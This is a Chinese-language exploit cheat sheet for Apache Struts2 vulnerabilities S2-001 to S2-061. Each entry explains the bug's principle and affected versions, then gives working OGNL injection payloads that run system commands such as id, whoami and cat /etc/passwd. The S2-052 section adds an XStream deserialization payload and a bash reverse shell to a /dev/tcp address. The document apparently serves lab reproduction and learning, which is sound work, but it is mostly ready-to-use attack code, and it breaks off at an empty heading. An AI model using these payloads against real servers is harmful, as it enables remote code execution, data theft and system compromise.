🌷S2-001
🌼1、漏洞原理
🌼2、影響版本
🌼3、驗證方法
🌷S2-005
🌼1、漏洞原理
🌼2、影響版本
🌼3、驗證方法(無回顯)
🌼4、驗證方法(有回顯)
🌷S2-007
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-008
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-009
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-012
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-013
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-014
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-015
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-016
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-032
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-045
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-046
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-048
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-052
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-053
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-057
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-059
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
🌷S2-061
🌼1、漏洞原理
🌼2、影響版本
🌼3、漏洞驗證
? ? 因用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用OGNL表達式%{value}進行解析,然后重新填充到對應的表單數據中。如注冊或登錄頁面,提交失敗后一般會默認返回之前提交的數據,由于后端使用%{value}對提交的數據執行了一次OGNL 表達式解析,所以可以直接構造 Payload進行命令執行。
Struts 2.0.0 - 2.0.8
??? 由漏洞原理可知,可以通過%{value}進行判斷是否存在S2-001,這里我們構建payload為:%{1+1},下圖分別為提交前后顯示,提交后返回中計算了{}中的數學表達式
🍑(1)獲取web路徑poc
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}🍑(2)命令執行poc(只需要修改加粗處命令即可,讀取文件是第一個參數為命令,第二個參數為路徑,若只有命令則只添加命令參數即可)
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}??? S2-005是由于官方在修補S2-003不全面導致繞過補丁造成的。我們都知道訪問Ognl的上下文對象必須要使用#符號,S2-003對#號進行過濾,但是沒有考慮到unicode編碼情況,導致\u0023或者8進制\43繞過。S2-005則是繞過官方的安全配置(禁止靜態方法調用和類方法執行),再次造成漏洞。
Struts 2.0.0 - Struts 2.1.8.1
🍓POC:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1此poc分為三個部分,執行結果為在tmp文件夾下創建success文件
(1)(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true
??? 第一步將_memberAccess變量中的allowStaticMethod設置為true,這里payload還要加括號,并且還帶個"(meh)"呢?其實是為了遵守Ognl語法樹的規則。第一步完成后,就可以執行靜態方法了。
(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))
??? 第二步將上下文中的xwork.MethodAccessor.denyMethodExecution設置為false,即允許方法的執行,這里的MehodAccessor是Struts2中規定方法/屬性訪問策略的類,也存在與Ognl的上下文中。同樣遵守Ognl語法樹規則。
(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
??? 第三步就是真正的攻擊代碼,前兩步就是要保證第三步成功執行,第三步就是執行了關閉服務器的代碼。但是要過調用Runtime類的靜態方法獲取一個Runtime對象。
🍓POC:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))(1)設置上下文denyMethodExecution=false 運行方法執行
(2)excludeProperties=@java.util.Collections@EMPTY_SET (@class@調用靜態變量)設置外部攔截器為空
(3)mycmd=“whoami” 定義我們的執行命令的變量
(4)myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (調用靜態方法執行我們的變量)
(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 獲取輸入流 (post)
(6)myres=new data[51020];mydat.readfully(myres); 讀取輸入流
(5,6為了轉換輸入流的類型)
(7)mystr=new java.lang.String(#myres) ;定義并賦值輸入流
(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的數據
(9)myout.getWriter().println(#mystr) ;把response的數據打印到屏幕上。
??? age參數只能是整數,而非整數會導致錯誤,struct會將用戶的輸入當作ognl表達式執行,從而導致了該漏洞
Struts 2.0.0 - Struts 2.2.3
在age參數處輸入以下poc即可
🍓POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '?debug=command&expression=處存在OGNL遠程代碼執行漏洞
Struts 2.0.0 - Struts 2.3.1
在url后拼接以下POC即可
🍓POC:
?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()??? 當前版本的action中接受了某個參數example,這個參數將進入OGNL的上下文。我們可以將OGNL表達式放在example參數中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法來執行繞過。
Struts 2.0.0 - Struts 2.3.1.1
在漏洞url后拼接以下poc即可(age參數可不要,根據具體情況取舍)
🍓POC:
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]??? 重定向的路徑中使用了 %{} 導致了的 RCE 漏洞。漏洞觸發原理與 S2-001 類似,對 %{} 表達式進行了循環解析
??? OGNL 評估已在S2-003和S2-005和S2-009 中得到解決,但是,由于它只涉及參數的名稱,因此結果是基于將可接受的參數名稱列入白名單并拒絕評估參數中包含的表達式的結果修復名稱,僅部分關閉了漏洞。第二次評估發生在重定向結果從堆棧中讀取并使用先前注入的代碼作為重定向參數時。這使得惡意用戶可以將任意 OGNL 語句放入由操作公開的任何未經處理的 String 變量中,并將其評估為 OGNL 表達式以啟用方法執行和執行任意方法,從而繞過 Struts 和 OGNL 庫保護。
??? 在配置文件中 Action 中 Result 時使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,可能會導致 OGNL 表達式命令執行。
Struts 2.1.0 - 2.3.13
使用S2-001的POC即可,但是要對其進行URL編碼
🍓POC:
%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),????????%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}??? 鏈接標簽帶入參數時導致的OGNL解析漏洞。Struts2標簽中<s:a>和<s:url>都包含一個includeParams 屬性,其值可設置為none、get或all,參考官方其對應意義如下:
?none - 鏈接不包含請求的任意參數值(默認)
?get - 鏈接只包含 GET 請求中的參數和其值
?all - 鏈接包含 GET 和 POST 所有參數和其值
??? <s:a>用來顯示一個超鏈接,當includeParams=all的時候,會將本次請求的GET和POST參數都放在URL的GET參數上。在放置參數的過程中會將參數進行OGNL渲染,造成任意命令執行漏洞。
Struts 2.0.0 - 2.3.14
直接在URL鏈接后添加任意參數和值即可
🍓POC:
?xxx=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D??? S2-014是對于S2-013修復不完整的造成的漏洞,在S2-013 修復的代碼中,官方限制了%{(#exp)}格式的OGNL執行,但是忽略了${exp} OGNL表達式執行的方式,因此導致了S2-014的產生。
Struts ?2.0.0 - 2.3.14.1
🍓POC :
?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22id%22%29%29%7D? ? S2-015 官方公告公布了兩種漏洞利用方式,一種是通配符匹配action,一種是在struts.xml中使用${}引用Action變量導致的二次解析。
(1)漏洞產生于配置了 Action 通配符 *,并將其作為動態值時,解析時會將其內容執行 OGNL 表達式
例如如下配置:
<package name="S2-015" extends="struts-default">
??? <action name="*" class="com.demo.action.PageAction">
??????? <result>/{1}.jsp</result>
??? </action>
</package>
??? 上述配置能讓我們訪問name.action時使用name.jsp來渲染頁面,但是在提取name并解析時,對其執行了OGNL表達式解析,所以導致命令執行。漏洞原理跟S2-012類似,S2-012利用的重定向類型,S2-015利用的Action的名稱。復現的時候發現,由于name值的位置比較特殊,一些特殊的字符如 / " \ 都無法使用(轉義也不行),所以在利用該點進行遠程命令執行時一些帶有路徑的命令可能無法執行成功。
??? 需要注意,在 Struts 2.3.14.2 中,官方將SecurityMemberAccess類中成員變量allowStaticMethodAccess添加了final修飾符,并且將其set方法進行了刪除。這就導致了我們不能通過#_memberAccess["allowStaticMethodAccess"]=true來改變其值,因為沒有set方法了。但是至少有兩種思路進行繞過:
a. 使用反射修改其值:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
b. 使用非靜態方法調用 POC:
new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()
(2)在struts.xml中使用${}引用Action變量導致的二次解析
例如如下配置:
<result type="httpheader">
??? <param name="errorMessage">${message}</param>
</result>
??? 這里配置了<param name="errorMessage">${message}</param>,其中message為ParamAction中的一個私有變量,這樣配置會導致觸發該Result時,Struts2會從請求參數中獲取message的值,并在解析過程中,觸發了OGNL表達式執行。這里需要注意的是這里的二次解析是因為在struts.xml中使用${param}引用了Action中的變量所導致的,并不針對于 type=“httpheader”這種返回方式。
Struts 2.0.0 - 2.3.14.2
? ? 直接提交%{1+1}或${1+1}作為其變量值提交就會得到執行,注意用%{1+1}時需要將%進行url編碼
🍓POC:
%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action??? 在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導航或是重定向前綴,但是這些前綴后面同時可以跟OGNL表達式,由于struts2沒有對這些前綴做過濾,導致利用OGNL表達式調用java靜態方法執行任意系統命令。
Struts 2.0.0 - 2.3.15.2
? ? 漏洞訪問URL格式:http://your-ip:8080/index.action?redirect:OGNL表達式,注意一定要對POC進行URL編碼
🍑(1)命令執行
🍓原POC:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}🍓URL編碼后:
redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D?🍑(2)獲取web目錄
🍓原POC:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}🍓URL編碼:
redirect%3A%24%7B%23req%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletReq'%2B'uest')%2C%23resp%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletRes'%2B'ponse')%2C%23resp.setCharacterEncoding('UTF-8')%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print('web')%2C%23ot.print('path%3A')%2C%23ot.print(%23req.getSession().getServletContext().getRealPath('%2F'))%2C%23ot.flush()%2C%23ot.close()%7D??? Struts2在開啟了動態方法調用(Dynamic Method Invocation)的情況下,可以使用method:<name>的方式來調用名字是<name>的方法,而這個方法名將會進行OGNL表達式計算,導致遠程命令執行漏洞。
Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
🍓POC:
xxx.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id??? 當content-type中出現"multipart/form_data"時,會被認為有文件上傳,從而調用struts2默認的上傳文件組件Jakarta,通過組件漏洞載入OGNL代碼并執行,從而達到遠程調用的目的。
Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
🍑(1)POC1:驗證漏洞是否存在
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data🍑(2)POC2:用于進行命令執行
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"POC2解析:
(1)用來觸發文件漏洞,聲明為文件上傳
%{(#test='multipart/form-data')
(2)用來注入OGNL代碼,通過ognl表達式靜態調用獲取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS屬性,并將獲取的結果覆蓋_memberAccess屬性,繞過SecurityMemberAccess的限制。
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
(3)剩下的為調用CMD命令的代碼,簡單粗暴,首先判斷操作系統,win下調用cmd,linux下調用bash。
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}
??? 當content-type中出現"multipart/form_data"時,會被認為有文件上傳,從而調用struts2默認的上傳文件組件Jakarta,通過組件漏洞載入OGNL代碼并執行,從而達到遠程調用的目的。
Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
??? 此漏洞與S2-045漏洞原理一致,只是漏洞點不一樣,因此POC可以通用,但是要注意因為該漏洞的漏洞點在filename參數,所以最后要使用00截斷。00截斷操作方法:在POC最后添加字符空格+a,添加空格是為了占位,字符a是為了便于識別點位。打開hex扎到a的位置,將其前面一個字符改為00即可
? ? Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目錄,其漏洞成因是當ActionMessage接收客戶可控的參數數據時,將用戶可控的值添加到 ActionMessage 并在客戶前端展示,導致其進入 getText 函數,最后 message 被當作 ognl 表達式執行,導致任意代碼執行。
Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本
在name一欄輸入%{1+1}或者${1+1},點擊提交,若返回界面如下所示則證明存在該漏洞。
🍓POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}??? Struts2的REST插件存在遠程代碼執行的高危漏洞,Struts2 REST插件的XStream插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊。
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
??? 訪問http://ip/orders.xhtml,即可看到showcase頁面。由于rest-plugin會根據URI擴展名或Content-Type來判斷解析方法,所以我們只需要修改orders.xhtml為orders.xml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數據。點擊任意一個edit,并用bp抓包,轉換GET請求為POST請求,按要求修改Content-Type,插入驗證代碼。
🍑(1)創建文件代碼
? ? 以下代碼功能為在tmp文件夾下創建success文件,點擊發送后利用命令docker-compose exec struts2 ls /tmp查看是否成功創建
🍓POC:
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>touch</string><string>/tmp/success</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>🍑(2)反彈shell代碼
將核心代碼(紅框框處部分)替換為以下代碼即可:
🍓POC:
<command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/192.168.244.128/777 0>&1</string> </command>??? Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表達式。導致用戶輸入的數據本身不會被OGNL解析,但由于被Freemarker解析一次后變成離開一個表達式,被OGNL解析第二次,導致任意命令執行漏洞。
Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
訪問地址http://IP/hello.action,在your url框中填入POC即可
🍓POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}??? 定義XML配置時如果沒有設置namespace的值,并且上層動作配置中并沒有設置或使用通配符namespace時,可能會導致遠程代碼執行漏洞的發生。同樣也可能因為url標簽沒有設置value和action的值,并且上層動作并沒有設置或使用通配符namespace,從而導致遠程代碼執行漏洞的發生。
??? 利用條件:(1)alwaysSelectFullNamespace操作元素沒有設置命名空間屬性,或者使用通配符;(2)命名空間將由用戶從uri傳遞,并被解析為OGNL表達式,最終導致遠程代碼執行漏洞。
<=Struts 2.3.34,Struts 2.5.16
🍑(1)驗證漏洞:http://IP/struts2-showcase/$%7B233*233%7D/actionChain1.action
payload被執行,計算出了233*233的值
🍑(2)命令執行
🍓POC:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}🍓插入代碼時要進行URL編碼:
%24%7b%0d%0a(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d%0d%0a??? 使用某些標簽時,會對標簽屬性值進行二次表達式解析,當標簽屬性值使用了%{skillName}并且skillName的值用戶可以控制,就會造成OGNL表達式執行。
Struts 2.0.0 – Struts 2.5.20
🍑(1)驗證漏洞
在URL后拼接?id=%{1+1},觀察回顯,如POC:http://192.168.244.128:8080/?id=%25{2*2}
🍑(2)命令執行
🍓POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}🍓URL編碼后:
%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.setExcludedPackageNames(%27%27)).(%23ou.setExcludedClasses(%27%27)).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d??? s2-061是一個遠程命令執行的漏洞,Struts2會對某些標簽屬性(比如id,其他屬性有待尋找)的屬性值進行二次表達式解析,因此當這些標簽屬性中使用了%{x}且x的值用戶可控時,用戶再傳入一個%{payload}即可造成OGNL表達式執行。S2-061是對S2-059沙盒進行的繞過。
Apache Struts 2.0.0 - 2.5.25
🍓POC:
%{(#instancemanager=#application['org.apache.tomcat.InstanceManager']).(#stack=#request['struts.valueStack']).(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).(#bean.setBean(#stack)).(#context=#bean.get('context')).(#bean.setBean(#context)).(#macc=#bean.get('memberAccess')).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance('java.util.HashSet')).(#bean.put('excludedClasses',#emptyset)).(#bean.put('excludedPackageNames',#emptyset)).(#arglist=#instancemanager.newInstance('java.util.ArrayList')).(#arglist.add('id')).(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).(#execute.exec(#arglist))}🍓URL編碼后:
